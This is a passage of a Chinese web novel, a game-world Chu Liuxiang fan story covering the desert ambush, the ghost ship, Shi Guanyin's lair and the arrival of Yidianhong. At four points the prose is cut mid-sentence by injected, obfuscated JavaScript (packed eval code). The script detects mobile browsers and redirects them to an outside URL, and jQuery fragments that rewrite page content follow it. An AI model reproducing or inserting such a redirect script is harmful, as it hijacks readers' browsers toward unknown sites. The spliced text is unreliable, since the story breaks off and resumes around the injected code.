因此,当那不知天高地厚的年轻人殷勤地以送酒为借口凑到她面前时,姬冰雁几乎是忍无可忍地起身走了过去。 她拒绝了那小子,这当然是一件好事。姬冰雁冷眼看着他笨拙地寻找话题,心底涌起一股半是嘲弄半是愤怒的情绪。 可是很快,他注意到了芒青的神色。 少年人在听到那个问题时下意识地握住了刀柄,面色陡然难看下来,淡色的唇紧抿着,似乎想起了一些并不十分美好的回忆。 姬冰雁陡然意识到,于她而言,这个话题太过冒犯了。 是和那个所谓的师兄有关吗。 芒青从来都是一个冷静自持的人,她身上几乎所有的负面情绪都和一个名叫温至洲的人有关。那是她的“例外”。 姬冰雁无法不忮忌。这个男人只用了十几年的光阴,就轻易地占据了他所爱之人的整个人生。 在发现自己和楚留香、胡铁花对她而言并没有什么分别时,姬冰雁是窃喜的。 像他们这样受欢迎的人,居然有一天也会因为不被青睐而苦恼、忧愁。 可是爱情实在是种很不讲道理的东西。它能把一个人高高抛起,同样也可以让他重重摔落在地。很快,姬冰雁又陷入了更深的绝望。因为他意识到她的眼里已经再也无法看见其他人了。 就在刚才,姬冰雁亲口对胡铁花说出了“喝酒误事”这四个字,那芒青呢。 她嘴里的“误事”,误的又是什么事呢。 是连下山行走都做不到的师门长辈,还是不知去向生死难料的师兄? * npc心里的百转千愁芒青无从得知,不过,现在至少有一件事是很明晰的。 胡铁花,这个曾经拍着胸脯对人保证能完成任务的队友,如今已经彻底不省人事了。 玩家看了看他名字后面跟着的醉酒debuff,又看了看他匀速下降的生命值,沉默半晌,无语望天。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118110|180007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 虽然计划里没有考虑上他,但是当胡铁花真的倒在她面前,全方位无死角地展示自己已经不中用了的时候,芒青还是会产生一种竟然还能这样的荒谬感。 给胡铁花递酒的络腮胡武士面色难看,和剩下两人面面相觑一阵,一齐走过来向楚留香赔罪道,“这、这……实在是我等的失职,瓶子里是大宛的葡萄酒,原本是不易醉的……” 楚留香宽抚他,“无妨,左右不过是一手交钱一手交货。说不定等人来时,他已经醒酒了。” 武士不由将腰弯得更低,“是。刘大侠所言极是……” “极”字出口,他霍然从袖中拔出一把刀锋雪亮的匕首,凶光毕露,大喝一声,直刺楚留香的脖颈。 剩下二人,一个抢上一步笼罩住了楚留香的脉门,另一个留心着他的动作,也从腰间抽出了刀来。 楚留香掌心一拍地面,身体陡然一抬,竟就这样踩在那只即将胁迫上他咽喉的匕首之上,借力在空中轻飘飘翻了个跟头,稳稳落在了两丈外。 三名龟兹武士面色大变,当初王帐之内的那场比试楚留香虽然同样出手,但终究不如胡铁花和芒青击败昆弥来得震撼。他们对这二人多有防范,却没想到这姓刘的小子功夫居然也如此之高。 没有匕首指着,楚留香终于能安稳地说上一句话了。 他叹一口气,道,“若在下没有猜错,几位恐怕是为了那些黄金才出此下策罢。金银财货不过身外之物,何必做出这样的事呢。” 络腮胡武士面色阴沉。 他们早就做好了不能善了的准备,却没想到敌我双方的实力差距如此悬殊。从那姓温的年轻人没有喝下提前准备的酒水时,计划就已经出现了纰漏。 如今他们没有人数上的优势,单论武功,也是敌不过这三人的。 只听“当啷”一声脆响,竟然已有一个武士将长刀丢在了地上。紧接着,他双膝一软跪倒在地,痛哭道,“刘大侠,温少侠,我、我实在是迫不得已。王爷丢了王座,叫我们跟着他跑到这荒无人烟的地方来,可我父母亲人还在王都,我走了,叫她们怎么办呢……” 络腮胡大怒,骂道,“没种的畜生,你竟然干出这种临阵脱逃的事情。想自己活命,我先把你送下九泉!” 他举刀当头劈下,那武士大惊失色,涕泗横流、四肢并用,挣扎着向前爬了两步。 长刀挥砍只在一瞬之间,可楚留香的动作却还要更快半分。 石子击中刀身,使它偏离了原来的轨道,插进了年轻武士身边的沙地。巨力之下,刀柄仍在嗡然颤抖。 男人侥幸逃过一劫,松了口气,惊魂未定地粗喘着,脸上尤且带着两行滑稽的泪痕。 芒青忽然很轻地笑了一下。她隐约记得这个人。好像叫沙陀。 “原来是这样啊。”她说,“我还以为你是要带着这些黄金逃去其他地方呢。毕竟,你的家人早就已经被叛军清剿了,不是吗?” 沙陀僵住了,身体微微发起抖来。 他抬起头,看见那名自称温归的年轻人正一手虚虚搭着刀柄,闲适地靠在岩石边。刘海遮住了她稠丽的眉眼,也让人看不清她眼底的神色。 芒青好整以暇地欣赏着沙陀现在的样子。他此刻的恐惧远比先前剖白时刻意表现出来的真实许多。 11. 第十一章 * 楚留香把三名心怀不轨的嫌疑人缉拿归案,捆起来和骆驼拴在了一起。 芒青打量着他的动作,就像是在研究一株并蒂的花、一只天生长了三条腿的青蛙。 “他们会死。”她说。 楚留香回头,看到了芒青的眼神,不由愣了一下。 这个年轻人并不是在劝告他。她只是陈述了一件必然会发生的事情,用这句宣告了结果的话语试探他的态度,以佐证自己的猜想。 即使已经看出了她的目的,楚留香也仍旧很配合地回答了,“人活在这个世界上,总要有所为、有所不为。无论什么人都应当遵守律法。道德和正义是不该被人轻视的。” 芒青:“……” 好久没听到这么红的话了。你是游戏用来过审的吧? 她心情复杂,没再继续这个话题,否则她真的怕npc突然张嘴给她来上一段社会主义核心价值观。 少年人的眉头蹙起,似乎对这一席话并不如何认同,但她没有和楚留香争辩什么,转而说道,“我们得快些启程了。” 姬冰雁和楚留香愣了一下,很快就都反应了过来。 这三名武士既然已经下定决心要劫走用来交换‘极乐之星’的黄金,又怎么会带着他们去真正的目的地。 在这茫茫无垠的沙漠中,哪怕只将前行的方向偏移上一分一厘,所达之地便足以差之千里。 胡铁花已醉得迷糊,陷入了婴儿般的睡眠。方才的一番动乱都没能让他恢复些许神智,也不知道那些人给他灌了什么酒。二锅头吗。 芒青喂了两颗解毒丸,胡铁花这才缓缓清醒了过来。 【赠送[初级解毒丸2],人物好感度+10,地图特殊加成,好感度+4】 睁眼看到三个被五花大绑的人,胡铁花剩下两分的酒意瞬间散了个干净。 姬冰雁简短地同他说明了情况,胡铁花不敢耽搁,赶忙翻身上了骆驼。 * 当他们抵达真正的相会地点时,已经临近黄昏十分。 夕阳将沙砾点染成了鲜艳的橙黄色,东方的天际线上已经能看到那一抹属于夜晚的、幽微的蓝。 没有一个人下马休息,也没有一个人敢放松精神。平日里最爱嬉笑的胡铁花反常地沉默着。 一片寂静中,姬冰雁突然冷不丁开口问道,“你是怎么知道的?” 楚留香疑惑地看了过来。芒青左右四顾,终于确认他是在问自己,“什么?” 姬冰雁侧过头,垂眸凝视着双手被反剪到身后的沙陀,说:“他说有亲人还在等他是撒谎。你怎么知道?” 芒青“啊”了一声,思索一下,说,“其实是猜的。他是龟兹王身边的护卫,于情于理,叛军都不会放过他的亲人,要么留着胁迫他暗害龟兹王,要么杀之而后快。劫走财宝后,他一定知道自己不可能再回到龟兹王身边,他的亲人失去了唯一可以被利用的价值,只有死路一条。” 姬冰雁眸光微动,接道,“所以只有两个可能。一是他自私至极心狠手辣,选择抛弃父母换取财货,二是他的亲人俱皆丧命,他没有了掣肘。” 他说:“你信他是后者。” 芒青道,“我猜他是后者。这样的人,即使起过心思,也是绝不敢付诸实践的。” 姬冰雁看着这个伪善又懦弱的男人,直到沙陀控制不住地发起抖来,才忽然露出了一个堪称讽刺的笑容。 “是啊。不过,无论是哪条路,他的最终的目的都是杀了我们,带着黄金一走了之。” 芒青笑了,“很有勇气。” 姬冰雁冷道:“不自量力。” 芒青:“。” 她现在是真的相信这npc对她的好感度有四星了。他平时说话应该已经算是嘴下留情了。 一直待机的系统地图突然闪烁了一下,一个红色的、正在移动的红点出现在了光屏上。 芒青的手搭上了腰间的长刀。 黑马似乎也察觉到了主人的情绪,躁动地踏着前蹄,发出沉闷的嘶叫声。 姬冰雁、楚留香和胡铁花同样警惕起来。只有不明情况的三个俘虏面面相觑,紧张不已。 对方行进的速度奇快无比。数息之间,红点就已到了近前。 带着凉意的夜风迅猛而来,邀请黄沙共舞。漫天风沙中,一座庞然大物的影子逐渐显露了出来。 那竟然是一艘在沙漠之中行驶的船只。 建造它的人一定是这个世界上最灵巧的工匠。这艘船的船身狭长,其上雕梁画栋,竟恍惚给人一种看见了琼楼玉宇的错觉。 鹰群被铁链牢牢束缚在甲板上,此刻,它们冲天而起,好似也在空中掀起了一片银色的潮汐。 夕阳的光芒被遮住,只余漫天的鹰唳之声。 船在他们的面前停下,一个白衣人悄无声息地出现在了船头。她全身上下的皮肤都包裹在层叠的衣物之中,乍看过去,就像一条鬼影、一只幽灵。 她脚下的船也恰似从冥界而来、取人性命的鬼船。 武士已吓得呆住了。这天底下的大部分人宰一只鸡都尚且吃力,何况是叫他们去杀人。与那些人相比,这三人跟着龟兹王出生入死,不知解决过多少前来行刺的敌人,实在已称得上一句悍勇。 可即便是这样的猛士,看到了这艘船、看到了船上的那个人,恐怕也再没有胆量在这种时候说一个字了。 白衣人略拍一拍手,立时便有数名壮汉从船上跃下,将黄金和珠宝从驼背上搬走。 楚留香道,“我们既交了黄金给姑娘,姑娘也该将那‘极乐之星’换给我们罢?” 白衣人缓缓低头,居高临下地看着他,漠然道,“你想把‘极乐之星’带回去?” 楚留香笑道,“钱货两讫,也该是这样的道理。” 白衣人忽然冷笑一声,重复了一遍他的话,“道理?我何必跟一个死人讲道理。” 说罢,她飞身而落,转瞬到了几人身前,出手几点,便封住了他们的真气。船上霎时间又跳下十余名身材健硕的汉子,他们一言不发,挟制着芒青一行人往船上走。 另有一人走向那三名武士,从腰间抽出一把长刀来。 刀锋在空中划出一线弧光,楚留香瞳孔紧缩,叫道,“且慢!” 那大汉充耳不闻,眼也不眨地连刺三下,血花飞溅,雪白的刀刃瞬间被染成了鲜红色,三颗人头也咚咚滚落在地。 刀下的人连惨叫都没来得及发出,就已经在瞬息之间毙命。 楚留香的双唇颤抖一下,脚步也慢了下来。身后的壮汉毫不留情地推了他一把。 若真论起武功,他们也并非全无还手之力,只是几人此行正是为了借机探查石观音的老巢,因而仅是象征性地挣扎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118111|180007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一下,便从善如流地被推进了船底的暗舱。 白衣人站在船舱的门口,芒青被押解着和她擦肩而过,忽然若有所觉地看了她一眼。 那双被轻纱遮盖着的眼睛正一瞬不瞬地瞧着她。 芒青歪了一下脑袋,莞尔。 白衣人蹙起眉,别过了头。 …… 暗舱的门“砰”的关上,隔绝了最后一丝光源。船又行驶了起来。 芒青靠坐在舱门边,听见了鹰的尖啼声,锁链晃动的声音,还有船身与沙地摩擦发出的巨大噪声。 习武之人耳目尤为灵便,待在这样的环境里是很难感到舒适的。芒青却像个没事人一样,解下重剑放在膝盖上,看起了系统面板。 因为玩家把游戏音效调低了。哈哈。 她把已获得的副本线索从上翻到下,忽然问:“石驼呢?” 姬冰雁沉声说,“他走了。” 芒青挑了一下眉,“跟王冲一起走的吗?” 姬冰雁淡淡“嗯”了一声。 芒青笑了,沉吟着用右手摩挲了一下刀柄。姬冰雁注意到她有时会在无意间做出这个小动作,就像楚留香爱摸自己的鼻子一样。 这艘由竹子打造而成的船只在沙漠中行驶了不知多长时间,忽然,鹰啼声更嘈杂了起来,就像是这片天空下忽然又多出了一队鹰群。 这猜测或许正是事实,因为楚留香已听出了两艘“鬼船”行驶时产生的响动。 头顶上的甲板响起了脚步声,紧接着,一道因过于冷淡而显得毫无波澜的女声响起,“长孙红。你来这里做什么。” 是那白衣人。 另一道娇俏些的声音接道,“夫人命我过来办事,也需要跟你报备么?” 一片寂静。白衣人没有再说话,那名叫长孙红的姑娘便不屑地“哼”了一声,停顿片刻,又道,“你见着吴菊轩了么?” 白衣人漠然,“我为什么要见他。” “没见过就没见过,你不会好好说话吗。”长孙红呛完这一句,脚步哒哒地走远了。 * 黎明时分,东方欲晓,船逐渐停了下来。 舱门打开,干燥又带着凉意的空气扑面而来,白衣人正站在门外。 她冷冷道,“下去。” 芒青、楚留香和姬冰雁都没有动作。胡铁花看了看他们,也坐了回去。 白衣人的声音已带上了怒意,“若你们用不着这两条腿,我也可以帮你们把它砍下来。下去!” 楚留香看着她,微笑道,“听闻石夫人仙姿玉色,非常人可以比拟,想必门下之人也应当俱是绝代佳人,姑娘又何必将脸蒙起来呢?” 白衣人盯着楚留香,半晌,忽然大笑起来。 那笑声好似一声声悲啼,无端让人心里发沉。旁人很难想象这样一位风华绝代的少女会发出如此尖锐而凄厉的声音。 她哑声道,“你想看我的脸,是么?好。我就让你看看我的模样!” 白衣人抬手就要撩开包裹着自己面容的纱巾,芒青却在这时忽然站起身,抓住了她的手腕。 她侧过头,道,“楚留香。” 楚留香一愣。 少年把那只手压下去,三两下替她把纱巾重新戴好。白衣人像是呆愣住了,竟就这样任她动作。 芒青两步跨到门口,招呼道,“走了。” 12. 第十二章(加更) * 外面的景象已不像是在大漠之中。嶙峋陡峭的巨大岩石像一座座拔地而起的山峰,投映下来的影子宛如一只只狰狞可怖、等待着择人而噬的野兽。 船停泊在石坳里。这层层叠叠、宛如重峦叠嶂的巨石仿佛庞大的活物,正注视着下方穿行而过的人。 芒青一行人仍被挟制着双手,对他们凶神恶煞的壮汉到了白衣人的面前,竟好似待宰的小鸡一般温顺,极恭敬地请示道,“是否要将他们的眼睛蒙起来?” “不必。”白衣人说。 她看也不看芒青几人,径直向前走去,“叫他们看见又能怎么样。难道还有活人能自己走出这里吗。别费事。” 楚留香笑道,“难道姑娘不算是活人么?” 白衣人扭头,那双死水一般的眼睛无端叫人心底发寒。 这风姿绰约的少女什么都没说,一个眼神却足以让所有人都读懂她的意思。她现在的模样,和死了又有什么分别呢。 她率先在前引路,东折西绕间就已轻松避过了重重机关。倘若叫芒青自己来探这条路,只怕存一百个档也是不够用的。 愈往里走,地势便愈是险要。山体倾斜的幅度越来越大,最后居然连天光也被遮蔽住了。 穿堂风冰寒刺骨,透过衣料拍打在人的身上。黄沙被席卷而起,又呼啸着落回地面。 在这几乎要将视线完全遮蔽住的风沙之中,竟逐渐显露出了几个人形的轮廓。 楚留香凝神一瞧,那些灰扑扑的人蓬头垢面,衣衫褴褛,手中俱都提着一个棍状的物体,观其动作,居然好似是在扫地一般。 在这片拥有无穷无尽沙尘的大漠之中扫地,本身就是一件极稀奇古怪的事情。除了苦修的和尚,楚留香再想不到还有谁会心甘情愿地来做这样的无用功。 芒青一行人穴道被封,真气受阻,脚步不如从前那样轻巧,可这些人却似是耳聋眼瞎,无知无觉,面上只有一片浑然的麻木,仿佛人生中只剩下了扫地这一件事,再没有任何东西可以打动他们了。 …… 又不知向前行进了多久,迎面飘来的空气中忽然夹杂起了一股奇异的芳香。 霜刀般的寒风在不知不觉间停息了。温暖的、带着甜腻气味的暖流轻柔地抚在人的脸上。 从闭塞的石峰夹缝中走出来,眼前的景色豁然开朗。在这片贫瘠的荒漠之中,竟镶嵌着一片宽阔平坦的花田。 沃土上,鲜花随着微风静静地摇曳,它们相互拍打,像一层层粉红色的浪潮。芒青一眼望去,居然看不到花海的边际。 楚留香笑道,“不知这是什么花,我从未在其他地方见过它的模样。” 白衣人冷道,“这花本来就不是凡夫俗子可以轻易见到的。” 楚留香感叹:“这样美丽的花的确并不常见。只是娇艳的花朵通常也代表着危险,它们总是需要一些尖刺来保护自己的。” 芒青:“……” 她直觉这话不对。点开系统面板,看见胡铁花和姬冰雁名字后面跟着的debuff状态,玩家惊呆了。 如果芒青没猜错的话,这看起来就很有几分诡异的花属性大抵是不怎么和谐的。哪天游戏突然惨遭下架她都不意外。这对吗。 不出玩家所料,几息后,姬冰雁忽然脚下一个踉跄,重心不稳跌倒在了花田边,竟就此再没了动静。 胡铁花和楚留香神色一变,急忙要去搀扶,哪知刚走两步,二人同样脚步虚浮、眼神涣散起来,不多时便萎顿于地。 芒青:“……” 她瞥了一眼自己的血条,存好档,挑了块干净点的空地,头一歪眼一闭,学着楚留香的样子,装作被麻倒般哐当倒地。 * 再睁开眼,入目是一片朦胧的光晕。 芒青艰难地眨动着双眼,适应这突然变幻的光线。面前似乎正坐着什么人,见她醒来,忽然扭过了头去。 芒青:“?” 难不成刚刚是在看我? 她顿时清醒了,环顾一圈,发现过场动画被游戏自动跳过了。他们如今果然已经被转移到了另一个地方。 这里看起来像是一间厢房,窗幔是柔软的轻纱,瓷器和珠宝点缀其中,光线折射,竟有种梦幻般的绮丽。 楚留香和胡铁花还在昏迷着,姬冰雁似乎是最早醒来的那一个,神智比芒青还要清醒些许,此刻正用一种复杂的眼神看着她。 芒青:搞不懂npc在想什么是我的日常任务吗,怎么每天都要打卡。 玩家决定彻底放弃思考。反正好感度也没掉。 白衣人不过多时便匆匆离开了这里,大抵是又有什么事情要做。芒青瞥了一眼系统地图,确定没人在附近监视后径直坐起了身,在姬冰雁讶异的目光中翻出了两粒中级解毒丸。 她把两颗丹药都交给姬冰雁,“姬先生和胡大侠的。” 【赠送[中级解毒丸]1,人物好感度+10,地图特殊加成,好感度+2】 姬冰雁先把自己的吃下去,又喂完了胡铁花,这才问道,“你不给楚留香么?” 芒青疑惑地“啊”了一声,迟疑地说,“他好像不需要吧。” 楚留香就在这时微微勾起了唇角,缓缓睁开眼。 他眼底一片泛着笑意的清明,哪里有半分中毒的样子。此人故意做出一副苦恼的神色,男声低沉清朗,“芒青姑娘是怎么发现的?” 芒青心说这还用问吗,你头上都没显示debuff啊。npc这波纯纯掩耳盗铃。 她随口敷衍,“装晕和真晕是有区别的。不难分辨。” 楚留香挑一下眉,若有所思道,“如此,待从此地出去,在下倒要向姑娘讨教一番了。” 芒青很想说这是玩家独门绝技,npc除非破碎虚空否则这辈子是学不了了,可惜现下并不是扯皮的好时机,还有更重要的事情等她去做。 解毒丸的药效立竿见影。胡铁花虽然醒了,但仍是一副蔫巴巴的样子。 他的状态显然不正常,只是先前楚留香和姬冰雁都没有主动提起, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118112|180007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 芒青也就没放在心上,现在却不得不管了。 她奇怪道,“胡大侠是有哪里不舒服吗?” 这样子可怎么跟玩家一起去打怪啊。 楚留香莞尔。 解铃还需系铃人。旁人即便去开解上三天三夜,也比不过他心里真正在意的人说一句话。 胡铁花黯然道,“芒青姑娘,铁公鸡、老臭虫,我是不是拖你们后腿了。” 这个天塌下来都能拍着胸脯顶上的男人,却难以面对遭到他连累的人。 纵使胡铁花有千万般的坏毛病,但此刻,芒青还是不得不承认他的确是一名名副其实的侠客。 总而言之npc还是有点良知在的,不枉玩家给他砸那么多道具。 何况她又不是什么不分青红皂白迁怒的坏蛋,一个数据小人说了哪算啊,还不是策划安排他来压进度。 芒青略微沉吟,道,“如果我说没有,胡大侠一定是不肯相信的。倘若我说不怪你,你一定也只会更加自责。所以,我的回答是‘是的’。” 她虽然说着责备的话,可是听在胡铁花耳朵里,却比无条件的包容更令他难堪。 他攥紧了拳,脸已涨得通红。 像他这样的人,大概都有这样的脾气。他们情愿被劈头盖脸指着鼻子痛骂一顿,也不想让人家就这样轻飘飘地体谅他、原谅他。 年轻人看了看胡铁花,忽然又笑了。她说,“但是,因为我和楚大侠、姬先生都把胡大侠当做朋友,所以并不会将之放在心上。而胡大侠也正是把我们当做了朋友,才会因此感到愧疚,这难道不更说明我们彼此都是很值得的朋友吗。朋友之间,是不需要责怪的。” 胡铁花的眼睛睁大了,那双时刻明亮有神的黑眼珠此刻竟显得有些呆愣、有些茫然。 姬冰雁面色微凝,两只手不知不觉已攥成了拳。半晌,他摇头轻哂一声,不知是在嘲笑自己,还是在嘲笑胡铁花。 楚留香失笑,“芒青姑娘,这样的歪理,我这辈子恐怕只听过这一次。” 芒青一本正经道,“这样的至理名言,我恐怕也不能再脸不红心不跳地说上第二次了。” 楚留香忍俊不禁。 胡铁花却仍沉浸在自己的思绪里,不自禁地喃喃道,“我们是朋友。” 这句话说出来,他像是也回过了神,好似终于想通了什么一般恍然笑了起来。 他身上那些属于酒鬼的轻浮气忽然散去了,仿佛有一个孤寂、深沉又多情的灵魂终于冲破了枷锁,被人窥探到了其中一角。 “不错!我们是朋友!”他说。 楚留香接道,“生死之交,难道我们四人不早已是可以交托性命的关系了吗?” 姬冰雁看起来依然记挂着什么心事,但他绝不会在这种时候扫朋友的兴。 芒青点开系统面板,发现队友的好感度都已经升到了四星。 和谐的团队关系是胜利的关键,毕竟这里是二次元。到时候喊着友情啊羁绊啊冲上去库库一顿输出,说不定boss就瘫了。 13. 第十三章 * 胡铁花心结已解,先前那白衣人离开的匆忙,显然有要事要办。情况尚未明晰,几人便静待其变。 楚留香道,“有时候后人一步出手,也未必是什么坏事。” 姬冰雁冷哼,“可惜你这次的敌人并不那么好对付。棋差一招满盘皆输,天底下总有这样的道理。” 楚留香一语双关,笑道,“正是如此。” 芒青听着npc拌嘴,并不打算点评什么。 门外突然传来一阵嘈杂的声响,众人立时警惕起来,装作不胜药力的样子,重新歪斜在地上。 “砰”的一声,屋门被猛地推开。来人年纪不大,发如乌墨,身着一件鲜红色的劲装。她随意扫视一圈,指着芒青几人所在的方向道,“扔那里罢。” 话音甫一落下,一名肌肉虬结的健壮汉子就从后面走了出来。他像扛麻袋一样扛着一条黑色的人影,挥手一抡,那人便就这样被扔了进来,砸在地上,发出沉闷的一声响。 红衣服的女孩子似是一点也不想在这里多待,头也不回地走了。 芒青认出她正是先前被白衣人称作长孙红的少女。 房门合拢,楚留香走过去,将新来的倒霉蛋翻了过来,正预备检查一番,却在看清他的面容时呆愣在了原地。 姬冰雁皱眉道,“你认识他?” 楚留香神色凝重,道,“只怕天底下也没有多少人不认得他。即使没有见过他的样子,也该听说过他的名号。” 胡铁花问:“他是谁?” 楚留香缓缓地说,“中原一点红。” 姬冰雁道,“他怎么会来这里?” 楚留香摇头,“或许只有等他醒来,我们才能得知这其中的缘故了。” “他也中了毒?” 楚留香:“恐怕是。” 胡铁花下意识看向了芒青。 芒青:“……” 感谢策划送来的战力,就是有点费道具。 【赠送[中级解毒丸1],人物好感度+10,地图特殊加成,好感度+2】 不过少顷,黑衣人悠悠转醒。 他有一双灰白色的眼睛,当这双眼睛目不转睛地盯着人看的时候,便尤其显露出一种无机质的冷厉来。 芒青盘膝坐在地上,胳膊搭在重剑边,托腮看着这个名叫一点红的怪人。一点红的视线也紧锁着她。 楚留香询问道,“你怎么会到这沙漠里来?” 一点红这才收回目光,皱眉道,“难道不是你叫我来的么?” 姬冰雁、胡铁花和楚留香俱是一惊。 楚留香重复道,“我叫你来的?” 他苦笑,“我叫你来做什么?” 一点红露出一点奇怪的神色,道,“你不是叫我来杀那龟兹王的么?” 芒青轻轻挑了一下眉。 楚留香吃了一惊,他转瞬反应过来,急问,“是谁与你说我叫你来沙漠杀龟兹王的?” 一点红讶然:“你……” 他看清了楚留香的神色,强行按捺下自己的情绪,面色紧绷,简略道,“与你分别后,我便一路行向关外,只是不过几日,我就察觉到有一个人一直在悄悄留意我的行踪。” “我尚未去寻他,他却先找上了我,自称是你的朋友,要我前来替你刺杀龟兹国的国王。” 楚留香:“或许你已相信了他的话。因为你现在正出现在这里。” 一点红道,“因为他对我说了一句叫我不得不相信的话。” “是什么?” “他提起了你曾经对我的不杀之恩。” 楚留香说:“难道你认为我就是这种挟恩图报的人么?” 一点红漠然,“正是因为我清楚你并不是会挟恩图报的人,是以知晓此事的人必定寥寥无几。如若不是你亲口告知,那人又怎么会知道。” 楚留香道,“你说的不错。那么,假借我的名义骗你过来的人又会是谁呢。” 姬冰雁问,“还有谁知道你们之间的事情?” 楚留香细数道,“也只有蓉儿、黑珍珠、南宫灵和……” 他的话音陡然顿住了。 胡铁花忍不住追问:“和谁?” 楚留香一字一句,慢慢道,“无花。” 姬冰雁说:“保送‘极乐之星’的镖师殒命时,无花也出现在了沙漠之中。看来他如今正在为石观音做事。” 芒青笑了一下,“巧的很,那位名叫长孙红的姑娘恰好在找一个近期失踪的男人。” 胡铁花沉声,“不管无花究竟是为谁效力,终归都再也不能害人了。” 芒青同胡、姬二人说着话,楚留香的思绪仍落在一点红身上,“你此行既是为了刺杀龟兹王,又是怎么被抓到这里来的?” 一点红道,“龟兹国的使者带着我进了沙漠,却始终没有找到他的同伴,只见到了一家不剩活口的客栈。” “他看到死尸,立刻就被吓晕了。然后……” 楚留香说,“然后?” “然后我看到了一艘船。” “一艘在沙漠里行驶的船?” “不错。” 楚留香叹一口气,点头道,“我知道了。我们也正是坐着这样的船才来到了这里。” 姬冰雁问道,“你去的那家客栈叫什么名字?” 一点红回忆一下,回答,“半天风。” 芒青没什么意味的轻轻“啊”了一声。 一点红扭头看着她,忽然说,“你是谁?” 楚留香笑道,“还没有跟你介绍,这是我的朋友芒青。这是姬冰雁和胡铁花,也是我的朋友。” 一点红冷冷地说,“你的朋友还真不少。” 楚留香不由摸了摸鼻子。这种时候,他实在也是没有什么话好说的。 一点红问:“客栈里的人是你们杀的?” 楚留香刚放下的手又不得不重新摸上了鼻子。他苦笑道,“并非是我们,只芒青姑娘一人而已。” 听到这样的回答,一点红看起来却并不十分意外。 他遇到过很多武功不俗的好手,而人在江湖里,除了和尚和楚留香,是很少有人能真正做到不杀人的。 看着自己的同类死在面前,想要完全不产生心理波动几乎是不可能的。就算是天底下最贵、最狠的杀手中原一点红也不行。 从尸体上的痕迹来看,动手之人必定心性果决。只有这样,才能在面对满地的尸体和源源不断的敌人时依然保持冷静,直击要害、一刀毙命。 面前的这个少年一定得到过悉心的教导、精心的呵护,她绝没有经历过缺衣少食、刀口舔血的日子。 像她这样的人,应该和亲人在暮春的江南踏青赏樱,和朋友在歌楼舞榭中畅饮,唯独不该出现在沙漠之中。 即使如此,一点红也只是重新专注地打量了一遍芒青,陈述道,“你是剑客。” 一个剑客,无论 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118113|180007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出现在什么地方、做了什么事情,似乎都总是很容易得到人们的理解。 芒青下意识摩挲了一下铁刀,实事求是,“其实还是用刀更多一些吧。” 一点红的双眼凝视着她。少顷,这个冷硬、寡言的男人露出了一个极其短促的笑容。 楚留香忽然坐直了身子。 芒青没有看到这一幕。她的头微微侧了一下,说,“有人来了。” 胡铁花、姬冰雁和楚留香纵使没有听到脚步声,也分毫不怀疑她的判断。 果然,不多时,屋门便再次被推开了。 两名少女跨过门槛,迈步而入。左边一人身着杏黄色的衣衫,右边一人穿着大红色的长裙。 她们的衣服漂亮鲜艳,性格也娇俏活泼。 黄衣服的女孩子看到芒青,嬉笑道,“听说这里来了一位俊俏的小郎君,难道就是你么?” 红衣服的姑娘接道,“若真是她,倒也不算长孙红骗人。你叫什么名字?” 芒青道,“在下温归,还未请教姑娘芳名。” 黄衣女孩娇笑两声,“如果你能活过明天,我就告诉你我们的名字。” 芒青一怔,愣愣地瞧着她,神情中竟流露出了些许惋惜的模样,“倘若在下果真要死在明天,临死前也不能得知姑娘的名字么?” 被这样一个如玉般风流的少年人注视着,又有几个人能不为其所动呢。 黄衣服的女孩子微微睁大了眼睛,双腮泛起一片绯色,磕巴道,“你、你也不一定会死在明天的。” 芒青一叹,黯然说,“不瞒姑娘,在下进来时便已经中了毒。只怕无需旁人动手,也是活不过明日的。” 红衣服的女孩子抢道,“你说的毒药是不是山谷里的那些花?” 芒青讶然,“姑娘怎么知道?”她脸色一变,焦急道,“莫非姑娘也闻过那花的香味么?” 红衣少女笑道,“我们生活在这里,又怎么会没见过那花?你也不用担心,花香只是迷药而已,你中的不多,一时半会儿死不了的。” 芒青皱了皱眉,说,“如姑娘所言,不过是迷药罢了,难道还能害死人不成?” 